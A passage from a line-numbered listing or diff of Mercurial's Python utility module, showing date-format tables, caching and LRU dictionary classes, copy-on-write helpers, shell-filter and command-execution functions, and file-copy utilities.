521 | 525 | if n == 3: |
|
522 | 526 | return (vints[0], vints[1], vints[2]) |
|
523 | 527 | if n == 4: |
|
524 | 528 | return (vints[0], vints[1], vints[2], extra) |
|
525 | 529 | |
|
526 | 530 | # used by parsedate |
|
527 | 531 | defaultdateformats = ( |
|
528 | 532 | '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601 |
|
529 | 533 | '%Y-%m-%dT%H:%M', # without seconds |
|
530 | 534 | '%Y-%m-%dT%H%M%S', # another awful but legal variant without : |
|
531 | 535 | '%Y-%m-%dT%H%M', # without seconds |
|
532 | 536 | '%Y-%m-%d %H:%M:%S', # our common legal variant |
|
533 | 537 | '%Y-%m-%d %H:%M', # without seconds |
|
534 | 538 | '%Y-%m-%d %H%M%S', # without : |
|
535 | 539 | '%Y-%m-%d %H%M', # without seconds |
|
536 | 540 | '%Y-%m-%d %I:%M:%S%p', |
|
537 | 541 | '%Y-%m-%d %H:%M', |
|
538 | 542 | '%Y-%m-%d %I:%M%p', |
|
539 | 543 | '%Y-%m-%d', |
|
540 | 544 | '%m-%d', |
|
541 | 545 | '%m/%d', |
|
542 | 546 | '%m/%d/%y', |
|
543 | 547 | '%m/%d/%Y', |
|
544 | 548 | '%a %b %d %H:%M:%S %Y', |
|
545 | 549 | '%a %b %d %I:%M:%S%p %Y', |
|
546 | 550 | '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822" |
|
547 | 551 | '%b %d %H:%M:%S %Y', |
|
548 | 552 | '%b %d %I:%M:%S%p %Y', |
|
549 | 553 | '%b %d %H:%M:%S', |
|
550 | 554 | '%b %d %I:%M:%S%p', |
|
551 | 555 | '%b %d %H:%M', |
|
552 | 556 | '%b %d %I:%M%p', |
|
553 | 557 | '%b %d %Y', |
|
554 | 558 | '%b %d', |
|
555 | 559 | '%H:%M:%S', |
|
556 | 560 | '%I:%M:%S%p', |
|
557 | 561 | '%H:%M', |
|
558 | 562 | '%I:%M%p', |
|
559 | 563 | ) |
|
560 | 564 | |
|
561 | 565 | extendeddateformats = defaultdateformats + ( |
|
562 | 566 | "%Y", |
|
563 | 567 | "%Y-%m", |
|
564 | 568 | "%b", |
|
565 | 569 | "%b %Y", |
|
566 | 570 | ) |
|
567 | 571 | |
|
568 | 572 | def cachefunc(func): |
|
569 | 573 | '''cache the result of function calls''' |
|
570 | 574 | # XXX doesn't handle keywords args |
|
571 | 575 | if func.__code__.co_argcount == 0: |
|
572 | 576 | cache = [] |
|
573 | 577 | def f(): |
|
574 | 578 | if len(cache) == 0: |
|
575 | 579 | cache.append(func()) |
|
576 | 580 | return cache[0] |
|
577 | 581 | return f |
|
578 | 582 | cache = {} |
|
579 | 583 | if func.__code__.co_argcount == 1: |
|
580 | 584 | # we gain a small amount of time because |
|
581 | 585 | # we don't need to pack/unpack the list |
|
582 | 586 | def f(arg): |
|
583 | 587 | if arg not in cache: |
|
584 | 588 | cache[arg] = func(arg) |
|
585 | 589 | return cache[arg] |
|
586 | 590 | else: |
|
587 | 591 | def f(*args): |
|
588 | 592 | if args not in cache: |
|
589 | 593 | cache[args] = func(*args) |
|
590 | 594 | return cache[args] |
|
591 | 595 | |
|
592 | 596 | return f |
|
593 | 597 | |
|
594 | 598 | class cow(object): |
|
595 | 599 | """helper class to make copy-on-write easier |
|
596 | 600 | |
|
597 | 601 | Call preparewrite before doing any writes. |
|
598 | 602 | """ |
|
599 | 603 | |
|
600 | 604 | def preparewrite(self): |
|
601 | 605 | """call this before writes, return self or a copied new object""" |
|
602 | 606 | if getattr(self, '_copied', 0): |
|
603 | 607 | self._copied -= 1 |
|
604 | 608 | return self.__class__(self) |
|
605 | 609 | return self |
|
606 | 610 | |
|
607 | 611 | def copy(self): |
|
608 | 612 | """always do a cheap copy""" |
|
609 | 613 | self._copied = getattr(self, '_copied', 0) + 1 |
|
610 | 614 | return self |
|
611 | 615 | |
|
612 | 616 | class sortdict(collections.OrderedDict): |
|
613 | 617 | '''a simple sorted dictionary |
|
614 | 618 | |
|
615 | 619 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
|
616 | 620 | >>> d2 = d1.copy() |
|
617 | 621 | >>> d2 |
|
618 | 622 | sortdict([('a', 0), ('b', 1)]) |
|
619 | 623 | >>> d2.update([(b'a', 2)]) |
|
620 | 624 | >>> list(d2.keys()) # should still be in last-set order |
|
621 | 625 | ['b', 'a'] |
|
622 | 626 | ''' |
|
623 | 627 | |
|
624 | 628 | def __setitem__(self, key, value): |
|
625 | 629 | if key in self: |
|
626 | 630 | del self[key] |
|
627 | 631 | super(sortdict, self).__setitem__(key, value) |
|
628 | 632 | |
|
629 | 633 | if pycompat.ispypy: |
|
630 | 634 | # __setitem__() isn't called as of PyPy 5.8.0 |
|
631 | 635 | def update(self, src): |
|
632 | 636 | if isinstance(src, dict): |
|
633 | 637 | src = src.iteritems() |
|
634 | 638 | for k, v in src: |
|
635 | 639 | self[k] = v |
|
636 | 640 | |
|
637 | 641 | class cowdict(cow, dict): |
|
638 | 642 | """copy-on-write dict |
|
639 | 643 | |
|
640 | 644 | Be sure to call d = d.preparewrite() before writing to d. |
|
641 | 645 | |
|
642 | 646 | >>> a = cowdict() |
|
643 | 647 | >>> a is a.preparewrite() |
|
644 | 648 | True |
|
645 | 649 | >>> b = a.copy() |
|
646 | 650 | >>> b is a |
|
647 | 651 | True |
|
648 | 652 | >>> c = b.copy() |
|
649 | 653 | >>> c is a |
|
650 | 654 | True |
|
651 | 655 | >>> a = a.preparewrite() |
|
652 | 656 | >>> b is a |
|
653 | 657 | False |
|
654 | 658 | >>> a is a.preparewrite() |
|
655 | 659 | True |
|
656 | 660 | >>> c = c.preparewrite() |
|
657 | 661 | >>> b is c |
|
658 | 662 | False |
|
659 | 663 | >>> b is b.preparewrite() |
|
660 | 664 | True |
|
661 | 665 | """ |
|
662 | 666 | |
|
663 | 667 | class cowsortdict(cow, sortdict): |
|
664 | 668 | """copy-on-write sortdict |
|
665 | 669 | |
|
666 | 670 | Be sure to call d = d.preparewrite() before writing to d. |
|
667 | 671 | """ |
|
668 | 672 | |
|
669 | 673 | class transactional(object): |
|
670 | 674 | """Base class for making a transactional type into a context manager.""" |
|
671 | 675 | __metaclass__ = abc.ABCMeta |
|
672 | 676 | |
|
673 | 677 | @abc.abstractmethod |
|
674 | 678 | def close(self): |
|
675 | 679 | """Successfully closes the transaction.""" |
|
676 | 680 | |
|
677 | 681 | @abc.abstractmethod |
|
678 | 682 | def release(self): |
|
679 | 683 | """Marks the end of the transaction. |
|
680 | 684 | |
|
681 | 685 | If the transaction has not been closed, it will be aborted. |
|
682 | 686 | """ |
|
683 | 687 | |
|
684 | 688 | def __enter__(self): |
|
685 | 689 | return self |
|
686 | 690 | |
|
687 | 691 | def __exit__(self, exc_type, exc_val, exc_tb): |
|
688 | 692 | try: |
|
689 | 693 | if exc_type is None: |
|
690 | 694 | self.close() |
|
691 | 695 | finally: |
|
692 | 696 | self.release() |
|
693 | 697 | |
|
694 | 698 | @contextlib.contextmanager |
|
695 | 699 | def acceptintervention(tr=None): |
|
696 | 700 | """A context manager that closes the transaction on InterventionRequired |
|
697 | 701 | |
|
698 | 702 | If no transaction was provided, this simply runs the body and returns |
|
699 | 703 | """ |
|
700 | 704 | if not tr: |
|
701 | 705 | yield |
|
702 | 706 | return |
|
703 | 707 | try: |
|
704 | 708 | yield |
|
705 | 709 | tr.close() |
|
706 | 710 | except error.InterventionRequired: |
|
707 | 711 | tr.close() |
|
708 | 712 | raise |
|
709 | 713 | finally: |
|
710 | 714 | tr.release() |
|
711 | 715 | |
|
712 | 716 | @contextlib.contextmanager |
|
713 | 717 | def nullcontextmanager(): |
|
714 | 718 | yield |
|
715 | 719 | |
|
716 | 720 | class _lrucachenode(object): |
|
717 | 721 | """A node in a doubly linked list. |
|
718 | 722 | |
|
719 | 723 | Holds a reference to nodes on either side as well as a key-value |
|
720 | 724 | pair for the dictionary entry. |
|
721 | 725 | """ |
|
722 | 726 | __slots__ = (u'next', u'prev', u'key', u'value') |
|
723 | 727 | |
|
724 | 728 | def __init__(self): |
|
725 | 729 | self.next = None |
|
726 | 730 | self.prev = None |
|
727 | 731 | |
|
728 | 732 | self.key = _notset |
|
729 | 733 | self.value = None |
|
730 | 734 | |
|
731 | 735 | def markempty(self): |
|
732 | 736 | """Mark the node as emptied.""" |
|
733 | 737 | self.key = _notset |
|
734 | 738 | |
|
735 | 739 | class lrucachedict(object): |
|
736 | 740 | """Dict that caches most recent accesses and sets. |
|
737 | 741 | |
|
738 | 742 | The dict consists of an actual backing dict - indexed by original |
|
739 | 743 | key - and a doubly linked circular list defining the order of entries in |
|
740 | 744 | the cache. |
|
741 | 745 | |
|
742 | 746 | The head node is the newest entry in the cache. If the cache is full, |
|
743 | 747 | we recycle head.prev and make it the new head. Cache accesses result in |
|
744 | 748 | the node being moved to before the existing head and being marked as the |
|
745 | 749 | new head node. |
|
746 | 750 | """ |
|
747 | 751 | def __init__(self, max): |
|
748 | 752 | self._cache = {} |
|
749 | 753 | |
|
750 | 754 | self._head = head = _lrucachenode() |
|
751 | 755 | head.prev = head |
|
752 | 756 | head.next = head |
|
753 | 757 | self._size = 1 |
|
754 | 758 | self._capacity = max |
|
755 | 759 | |
|
756 | 760 | def __len__(self): |
|
757 | 761 | return len(self._cache) |
|
758 | 762 | |
|
759 | 763 | def __contains__(self, k): |
|
760 | 764 | return k in self._cache |
|
761 | 765 | |
|
762 | 766 | def __iter__(self): |
|
763 | 767 | # We don't have to iterate in cache order, but why not. |
|
764 | 768 | n = self._head |
|
765 | 769 | for i in range(len(self._cache)): |
|
766 | 770 | yield n.key |
|
767 | 771 | n = n.next |
|
768 | 772 | |
|
769 | 773 | def __getitem__(self, k): |
|
770 | 774 | node = self._cache[k] |
|
771 | 775 | self._movetohead(node) |
|
772 | 776 | return node.value |
|
773 | 777 | |
|
774 | 778 | def __setitem__(self, k, v): |
|
775 | 779 | node = self._cache.get(k) |
|
776 | 780 | # Replace existing value and mark as newest. |
|
777 | 781 | if node is not None: |
|
778 | 782 | node.value = v |
|
779 | 783 | self._movetohead(node) |
|
780 | 784 | return |
|
781 | 785 | |
|
782 | 786 | if self._size < self._capacity: |
|
783 | 787 | node = self._addcapacity() |
|
784 | 788 | else: |
|
785 | 789 | # Grab the last/oldest item. |
|
786 | 790 | node = self._head.prev |
|
787 | 791 | |
|
788 | 792 | # At capacity. Kill the old entry. |
|
789 | 793 | if node.key is not _notset: |
|
790 | 794 | del self._cache[node.key] |
|
791 | 795 | |
|
792 | 796 | node.key = k |
|
793 | 797 | node.value = v |
|
794 | 798 | self._cache[k] = node |
|
795 | 799 | # And mark it as newest entry. No need to adjust order since it |
|
796 | 800 | # is already self._head.prev. |
|
797 | 801 | self._head = node |
|
798 | 802 | |
|
799 | 803 | def __delitem__(self, k): |
|
800 | 804 | node = self._cache.pop(k) |
|
801 | 805 | node.markempty() |
|
802 | 806 | |
|
803 | 807 | # Temporarily mark as newest item before re-adjusting head to make |
|
804 | 808 | # this node the oldest item. |
|
805 | 809 | self._movetohead(node) |
|
806 | 810 | self._head = node.next |
|
807 | 811 | |
|
808 | 812 | # Additional dict methods. |
|
809 | 813 | |
|
810 | 814 | def get(self, k, default=None): |
|
811 | 815 | try: |
|
812 | 816 | return self._cache[k].value |
|
813 | 817 | except KeyError: |
|
814 | 818 | return default |
|
815 | 819 | |
|
816 | 820 | def clear(self): |
|
817 | 821 | n = self._head |
|
818 | 822 | while n.key is not _notset: |
|
819 | 823 | n.markempty() |
|
820 | 824 | n = n.next |
|
821 | 825 | |
|
822 | 826 | self._cache.clear() |
|
823 | 827 | |
|
824 | 828 | def copy(self): |
|
825 | 829 | result = lrucachedict(self._capacity) |
|
826 | 830 | n = self._head.prev |
|
827 | 831 | # Iterate in oldest-to-newest order, so the copy has the right ordering |
|
828 | 832 | for i in range(len(self._cache)): |
|
829 | 833 | result[n.key] = n.value |
|
830 | 834 | n = n.prev |
|
831 | 835 | return result |
|
832 | 836 | |
|
833 | 837 | def _movetohead(self, node): |
|
834 | 838 | """Mark a node as the newest, making it the new head. |
|
835 | 839 | |
|
836 | 840 | When a node is accessed, it becomes the freshest entry in the LRU |
|
837 | 841 | list, which is denoted by self._head. |
|
838 | 842 | |
|
839 | 843 | Visually, let's make ``N`` the new head node (* denotes head): |
|
840 | 844 | |
|
841 | 845 | previous/oldest <-> head <-> next/next newest |
|
842 | 846 | |
|
843 | 847 | ----<->--- A* ---<->----- |
|
844 | 848 | | | |
|
845 | 849 | E <-> D <-> N <-> C <-> B |
|
846 | 850 | |
|
847 | 851 | To: |
|
848 | 852 | |
|
849 | 853 | ----<->--- N* ---<->----- |
|
850 | 854 | | | |
|
851 | 855 | E <-> D <-> C <-> B <-> A |
|
852 | 856 | |
|
853 | 857 | This requires the following moves: |
|
854 | 858 | |
|
855 | 859 | C.next = D (node.prev.next = node.next) |
|
856 | 860 | D.prev = C (node.next.prev = node.prev) |
|
857 | 861 | E.next = N (head.prev.next = node) |
|
858 | 862 | N.prev = E (node.prev = head.prev) |
|
859 | 863 | N.next = A (node.next = head) |
|
860 | 864 | A.prev = N (head.prev = node) |
|
861 | 865 | """ |
|
862 | 866 | head = self._head |
|
863 | 867 | # C.next = D |
|
864 | 868 | node.prev.next = node.next |
|
865 | 869 | # D.prev = C |
|
866 | 870 | node.next.prev = node.prev |
|
867 | 871 | # N.prev = E |
|
868 | 872 | node.prev = head.prev |
|
869 | 873 | # N.next = A |
|
870 | 874 | # It is tempting to do just "head" here, however if node is |
|
871 | 875 | # adjacent to head, this will do bad things. |
|
872 | 876 | node.next = head.prev.next |
|
873 | 877 | # E.next = N |
|
874 | 878 | node.next.prev = node |
|
875 | 879 | # A.prev = N |
|
876 | 880 | node.prev.next = node |
|
877 | 881 | |
|
878 | 882 | self._head = node |
|
879 | 883 | |
|
880 | 884 | def _addcapacity(self): |
|
881 | 885 | """Add a node to the circular linked list. |
|
882 | 886 | |
|
883 | 887 | The new node is inserted before the head node. |
|
884 | 888 | """ |
|
885 | 889 | head = self._head |
|
886 | 890 | node = _lrucachenode() |
|
887 | 891 | head.prev.next = node |
|
888 | 892 | node.prev = head.prev |
|
889 | 893 | node.next = head |
|
890 | 894 | head.prev = node |
|
891 | 895 | self._size += 1 |
|
892 | 896 | return node |
|
893 | 897 | |
|
894 | 898 | def lrucachefunc(func): |
|
895 | 899 | '''cache most recent results of function calls''' |
|
896 | 900 | cache = {} |
|
897 | 901 | order = collections.deque() |
|
898 | 902 | if func.__code__.co_argcount == 1: |
|
899 | 903 | def f(arg): |
|
900 | 904 | if arg not in cache: |
|
901 | 905 | if len(cache) > 20: |
|
902 | 906 | del cache[order.popleft()] |
|
903 | 907 | cache[arg] = func(arg) |
|
904 | 908 | else: |
|
905 | 909 | order.remove(arg) |
|
906 | 910 | order.append(arg) |
|
907 | 911 | return cache[arg] |
|
908 | 912 | else: |
|
909 | 913 | def f(*args): |
|
910 | 914 | if args not in cache: |
|
911 | 915 | if len(cache) > 20: |
|
912 | 916 | del cache[order.popleft()] |
|
913 | 917 | cache[args] = func(*args) |
|
914 | 918 | else: |
|
915 | 919 | order.remove(args) |
|
916 | 920 | order.append(args) |
|
917 | 921 | return cache[args] |
|
918 | 922 | |
|
919 | 923 | return f |
|
920 | 924 | |
|
921 | 925 | class propertycache(object): |
|
922 | 926 | def __init__(self, func): |
|
923 | 927 | self.func = func |
|
924 | 928 | self.name = func.__name__ |
|
925 | 929 | def __get__(self, obj, type=None): |
|
926 | 930 | result = self.func(obj) |
|
927 | 931 | self.cachevalue(obj, result) |
|
928 | 932 | return result |
|
929 | 933 | |
|
930 | 934 | def cachevalue(self, obj, value): |
|
931 | 935 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
|
932 | 936 | obj.__dict__[self.name] = value |
|
933 | 937 | |
|
934 | 938 | def clearcachedproperty(obj, prop): |
|
935 | 939 | '''clear a cached property value, if one has been set''' |
|
936 | 940 | if prop in obj.__dict__: |
|
937 | 941 | del obj.__dict__[prop] |
|
938 | 942 | |
|
939 | 943 | def pipefilter(s, cmd): |
|
940 | 944 | '''filter string S through command CMD, returning its output''' |
|
941 | 945 | p = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
|
942 | 946 | stdin=subprocess.PIPE, stdout=subprocess.PIPE) |
|
943 | 947 | pout, perr = p.communicate(s) |
|
944 | 948 | return pout |
|
945 | 949 | |
|
946 | 950 | def tempfilter(s, cmd): |
|
947 | 951 | '''filter string S through a pair of temporary files with CMD. |
|
948 | 952 | CMD is used as a template to create the real command to be run, |
|
949 | 953 | with the strings INFILE and OUTFILE replaced by the real names of |
|
950 | 954 | the temporary files generated.''' |
|
951 | 955 | inname, outname = None, None |
|
952 | 956 | try: |
|
953 | 957 | infd, inname = tempfile.mkstemp(prefix='hg-filter-in-') |
|
954 | 958 | fp = os.fdopen(infd, pycompat.sysstr('wb')) |
|
955 | 959 | fp.write(s) |
|
956 | 960 | fp.close() |
|
957 | 961 | outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-') |
|
958 | 962 | os.close(outfd) |
|
959 | 963 | cmd = cmd.replace('INFILE', inname) |
|
960 | 964 | cmd = cmd.replace('OUTFILE', outname) |
|
961 | 965 | code = os.system(cmd) |
|
962 | 966 | if pycompat.sysplatform == 'OpenVMS' and code & 1: |
|
963 | 967 | code = 0 |
|
964 | 968 | if code: |
|
965 | 969 | raise Abort(_("command '%s' failed: %s") % |
|
966 | 970 | (cmd, explainexit(code))) |
|
967 | 971 | return readfile(outname) |
|
968 | 972 | finally: |
|
969 | 973 | try: |
|
970 | 974 | if inname: |
|
971 | 975 | os.unlink(inname) |
|
972 | 976 | except OSError: |
|
973 | 977 | pass |
|
974 | 978 | try: |
|
975 | 979 | if outname: |
|
976 | 980 | os.unlink(outname) |
|
977 | 981 | except OSError: |
|
978 | 982 | pass |
|
979 | 983 | |
|
980 | 984 | filtertable = { |
|
981 | 985 | 'tempfile:': tempfilter, |
|
982 | 986 | 'pipe:': pipefilter, |
|
983 | 987 | } |
|
984 | 988 | |
|
985 | 989 | def filter(s, cmd): |
|
986 | 990 | "filter a string through a command that transforms its input to its output" |
|
987 | 991 | for name, fn in filtertable.iteritems(): |
|
988 | 992 | if cmd.startswith(name): |
|
989 | 993 | return fn(s, cmd[len(name):].lstrip()) |
|
990 | 994 | return pipefilter(s, cmd) |
|
991 | 995 | |
|
992 | 996 | def binary(s): |
|
993 | 997 | """return true if a string is binary data""" |
|
994 | 998 | return bool(s and '\0' in s) |
|
995 | 999 | |
|
996 | 1000 | def increasingchunks(source, min=1024, max=65536): |
|
997 | 1001 | '''return no less than min bytes per chunk while data remains, |
|
998 | 1002 | doubling min after each chunk until it reaches max''' |
|
999 | 1003 | def log2(x): |
|
1000 | 1004 | if not x: |
|
1001 | 1005 | return 0 |
|
1002 | 1006 | i = 0 |
|
1003 | 1007 | while x: |
|
1004 | 1008 | x >>= 1 |
|
1005 | 1009 | i += 1 |
|
1006 | 1010 | return i - 1 |
|
1007 | 1011 | |
|
1008 | 1012 | buf = [] |
|
1009 | 1013 | blen = 0 |
|
1010 | 1014 | for chunk in source: |
|
1011 | 1015 | buf.append(chunk) |
|
1012 | 1016 | blen += len(chunk) |
|
1013 | 1017 | if blen >= min: |
|
1014 | 1018 | if min < max: |
|
1015 | 1019 | min = min << 1 |
|
1016 | 1020 | nmin = 1 << log2(blen) |
|
1017 | 1021 | if nmin > min: |
|
1018 | 1022 | min = nmin |
|
1019 | 1023 | if min > max: |
|
1020 | 1024 | min = max |
|
1021 | 1025 | yield ''.join(buf) |
|
1022 | 1026 | blen = 0 |
|
1023 | 1027 | buf = [] |
|
1024 | 1028 | if buf: |
|
1025 | 1029 | yield ''.join(buf) |
|
1026 | 1030 | |
|
1027 | 1031 | Abort = error.Abort |
|
1028 | 1032 | |
|
1029 | 1033 | def always(fn): |
|
1030 | 1034 | return True |
|
1031 | 1035 | |
|
1032 | 1036 | def never(fn): |
|
1033 | 1037 | return False |
|
1034 | 1038 | |
|
1035 | 1039 | def nogc(func): |
|
1036 | 1040 | """disable garbage collector |
|
1037 | 1041 | |
|
1038 | 1042 | Python's garbage collector triggers a GC each time a certain number of |
|
1039 | 1043 | container objects (the number being defined by gc.get_threshold()) are |
|
1040 | 1044 | allocated even when marked not to be tracked by the collector. Tracking has |
|
1041 | 1045 | no effect on when GCs are triggered, only on what objects the GC looks |
|
1042 | 1046 | into. As a workaround, disable GC while building complex (huge) |
|
1043 | 1047 | containers. |
|
1044 | 1048 | |
|
1045 | 1049 | This garbage collector issue have been fixed in 2.7. But it still affect |
|
1046 | 1050 | CPython's performance. |
|
1047 | 1051 | """ |
|
1048 | 1052 | def wrapper(*args, **kwargs): |
|
1049 | 1053 | gcenabled = gc.isenabled() |
|
1050 | 1054 | gc.disable() |
|
1051 | 1055 | try: |
|
1052 | 1056 | return func(*args, **kwargs) |
|
1053 | 1057 | finally: |
|
1054 | 1058 | if gcenabled: |
|
1055 | 1059 | gc.enable() |
|
1056 | 1060 | return wrapper |
|
1057 | 1061 | |
|
1058 | 1062 | if pycompat.ispypy: |
|
1059 | 1063 | # PyPy runs slower with gc disabled |
|
1060 | 1064 | nogc = lambda x: x |
|
1061 | 1065 | |
|
1062 | 1066 | def pathto(root, n1, n2): |
|
1063 | 1067 | '''return the relative path from one place to another. |
|
1064 | 1068 | root should use os.sep to separate directories |
|
1065 | 1069 | n1 should use os.sep to separate directories |
|
1066 | 1070 | n2 should use "/" to separate directories |
|
1067 | 1071 | returns an os.sep-separated path. |
|
1068 | 1072 | |
|
1069 | 1073 | If n1 is a relative path, it's assumed it's |
|
1070 | 1074 | relative to root. |
|
1071 | 1075 | n2 should always be relative to root. |
|
1072 | 1076 | ''' |
|
1073 | 1077 | if not n1: |
|
1074 | 1078 | return localpath(n2) |
|
1075 | 1079 | if os.path.isabs(n1): |
|
1076 | 1080 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
|
1077 | 1081 | return os.path.join(root, localpath(n2)) |
|
1078 | 1082 | n2 = '/'.join((pconvert(root), n2)) |
|
1079 | 1083 | a, b = splitpath(n1), n2.split('/') |
|
1080 | 1084 | a.reverse() |
|
1081 | 1085 | b.reverse() |
|
1082 | 1086 | while a and b and a[-1] == b[-1]: |
|
1083 | 1087 | a.pop() |
|
1084 | 1088 | b.pop() |
|
1085 | 1089 | b.reverse() |
|
1086 | 1090 | return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
|
1087 | 1091 | |
|
1088 | 1092 | def mainfrozen(): |
|
1089 | 1093 | """return True if we are a frozen executable. |
|
1090 | 1094 | |
|
1091 | 1095 | The code supports py2exe (most common, Windows only) and tools/freeze |
|
1092 | 1096 | (portable, not much used). |
|
1093 | 1097 | """ |
|
1094 | 1098 | return (safehasattr(sys, "frozen") or # new py2exe |
|
1095 | 1099 | safehasattr(sys, "importers") or # old py2exe |
|
1096 | 1100 | imp.is_frozen(u"__main__")) # tools/freeze |
|
1097 | 1101 | |
|
1098 | 1102 | # the location of data files matching the source code |
|
1099 | 1103 | if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
|
1100 | 1104 | # executable version (py2exe) doesn't support __file__ |
|
1101 | 1105 | datapath = os.path.dirname(pycompat.sysexecutable) |
|
1102 | 1106 | else: |
|
1103 | 1107 | datapath = os.path.dirname(pycompat.fsencode(__file__)) |
|
1104 | 1108 | |
|
1105 | 1109 | i18n.setdatapath(datapath) |
|
1106 | 1110 | |
|
1107 | 1111 | _hgexecutable = None |
|
1108 | 1112 | |
|
1109 | 1113 | def hgexecutable(): |
|
1110 | 1114 | """return location of the 'hg' executable. |
|
1111 | 1115 | |
|
1112 | 1116 | Defaults to $HG or 'hg' in the search path. |
|
1113 | 1117 | """ |
|
1114 | 1118 | if _hgexecutable is None: |
|
1115 | 1119 | hg = encoding.environ.get('HG') |
|
1116 | 1120 | mainmod = sys.modules[pycompat.sysstr('__main__')] |
|
1117 | 1121 | if hg: |
|
1118 | 1122 | _sethgexecutable(hg) |
|
1119 | 1123 | elif mainfrozen(): |
|
1120 | 1124 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
1121 | 1125 | # Env variable set by py2app |
|
1122 | 1126 | _sethgexecutable(encoding.environ['EXECUTABLEPATH']) |
|
1123 | 1127 | else: |
|
1124 | 1128 | _sethgexecutable(pycompat.sysexecutable) |
|
1125 | 1129 | elif (os.path.basename( |
|
1126 | 1130 | pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'): |
|
1127 | 1131 | _sethgexecutable(pycompat.fsencode(mainmod.__file__)) |
|
1128 | 1132 | else: |
|
1129 | 1133 | exe = findexe('hg') or os.path.basename(sys.argv[0]) |
|
1130 | 1134 | _sethgexecutable(exe) |
|
1131 | 1135 | return _hgexecutable |
|
1132 | 1136 | |
|
1133 | 1137 | def _sethgexecutable(path): |
|
1134 | 1138 | """set location of the 'hg' executable""" |
|
1135 | 1139 | global _hgexecutable |
|
1136 | 1140 | _hgexecutable = path |
|
1137 | 1141 | |
|
1138 | 1142 | def _isstdout(f): |
|
1139 | 1143 | fileno = getattr(f, 'fileno', None) |
|
1140 | 1144 | return fileno and fileno() == sys.__stdout__.fileno() |
|
1141 | 1145 | |
|
1142 | 1146 | def shellenviron(environ=None): |
|
1143 | 1147 | """return environ with optional override, useful for shelling out""" |
|
1144 | 1148 | def py2shell(val): |
|
1145 | 1149 | 'convert python object into string that is useful to shell' |
|
1146 | 1150 | if val is None or val is False: |
|
1147 | 1151 | return '0' |
|
1148 | 1152 | if val is True: |
|
1149 | 1153 | return '1' |
|
1150 | 1154 | return str(val) |
|
1151 | 1155 | env = dict(encoding.environ) |
|
1152 | 1156 | if environ: |
|
1153 | 1157 | env.update((k, py2shell(v)) for k, v in environ.iteritems()) |
|
1154 | 1158 | env['HG'] = hgexecutable() |
|
1155 | 1159 | return env |
|
1156 | 1160 | |
|
1157 | 1161 | def system(cmd, environ=None, cwd=None, out=None): |
|
1158 | 1162 | '''enhanced shell command execution. |
|
1159 | 1163 | run with environment maybe modified, maybe in different dir. |
|
1160 | 1164 | |
|
1161 | 1165 | if out is specified, it is assumed to be a file-like object that has a |
|
1162 | 1166 | write() method. stdout and stderr will be redirected to out.''' |
|
1163 | 1167 | try: |
|
1164 | 1168 | stdout.flush() |
|
1165 | 1169 | except Exception: |
|
1166 | 1170 | pass |
|
1167 | 1171 | cmd = quotecommand(cmd) |
|
1168 | 1172 | env = shellenviron(environ) |
|
1169 | 1173 | if out is None or _isstdout(out): |
|
1170 | 1174 | rc = subprocess.call(cmd, shell=True, close_fds=closefds, |
|
1171 | 1175 | env=env, cwd=cwd) |
|
1172 | 1176 | else: |
|
1173 | 1177 | proc = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
|
1174 | 1178 | env=env, cwd=cwd, stdout=subprocess.PIPE, |
|
1175 | 1179 | stderr=subprocess.STDOUT) |
|
1176 | 1180 | for line in iter(proc.stdout.readline, ''): |
|
1177 | 1181 | out.write(line) |
|
1178 | 1182 | proc.wait() |
|
1179 | 1183 | rc = proc.returncode |
|
1180 | 1184 | if pycompat.sysplatform == 'OpenVMS' and rc & 1: |
|
1181 | 1185 | rc = 0 |
|
1182 | 1186 | return rc |
|
1183 | 1187 | |
|
1184 | 1188 | def checksignature(func): |
|
1185 | 1189 | '''wrap a function with code to check for calling errors''' |
|
1186 | 1190 | def check(*args, **kwargs): |
|
1187 | 1191 | try: |
|
1188 | 1192 | return func(*args, **kwargs) |
|
1189 | 1193 | except TypeError: |
|
1190 | 1194 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
|
1191 | 1195 | raise error.SignatureError |
|
1192 | 1196 | raise |
|
1193 | 1197 | |
|
1194 | 1198 | return check |
|
1195 | 1199 | |
|
1196 | 1200 | # a whilelist of known filesystems where hardlink works reliably |
|
1197 | 1201 | _hardlinkfswhitelist = { |
|
1198 | 1202 | 'btrfs', |
|
1199 | 1203 | 'ext2', |
|
1200 | 1204 | 'ext3', |
|
1201 | 1205 | 'ext4', |
|
1202 | 1206 | 'hfs', |
|
1203 | 1207 | 'jfs', |
|
1204 | 1208 | 'reiserfs', |
|
1205 | 1209 | 'tmpfs', |
|
1206 | 1210 | 'ufs', |
|
1207 | 1211 | 'xfs', |
|
1208 | 1212 | 'zfs', |
|
1209 | 1213 | } |
|
1210 | 1214 | |
|
1211 | 1215 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
|
1212 | 1216 | '''copy a file, preserving mode and optionally other stat info like |
|
1213 | 1217 | atime/mtime |
|
1214 | 1218 | |
|
1215 | 1219 | checkambig argument is used with filestat, and is useful only if |
|
1216 | 1220 | destination file is guarded by any lock (e.g. repo.lock or |
|
1217 | 1221 | repo.wlock). |
|
1218 | 1222 | |
|
1219 | 1223 | copystat and checkambig should be exclusive. |
|
1220 | 1224 | ''' |
|
1221 | 1225 | assert not (copystat and checkambig) |
|
1222 | 1226 | oldstat = None |
|
1223 | 1227 | if os.path.lexists(dest): |
|
1224 | 1228 | if checkambig: |
|
1225 | 1229 | oldstat = checkambig and filestat.frompath(dest) |
|
1226 | 1230 | unlink(dest) |
|
1227 | 1231 | if hardlink: |
|
1228 | 1232 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
|
1229 | 1233 | # unless we are confident that dest is on a whitelisted filesystem. |
|
1230 | 1234 | try: |
|
1231 | 1235 | fstype = getfstype(os.path.dirname(dest)) |
|
1232 | 1236 | except OSError: |
|
1233 | 1237 | fstype = None |
|
1234 | 1238 | if fstype not in _hardlinkfswhitelist: |
|
1235 | 1239 | hardlink = False |
|
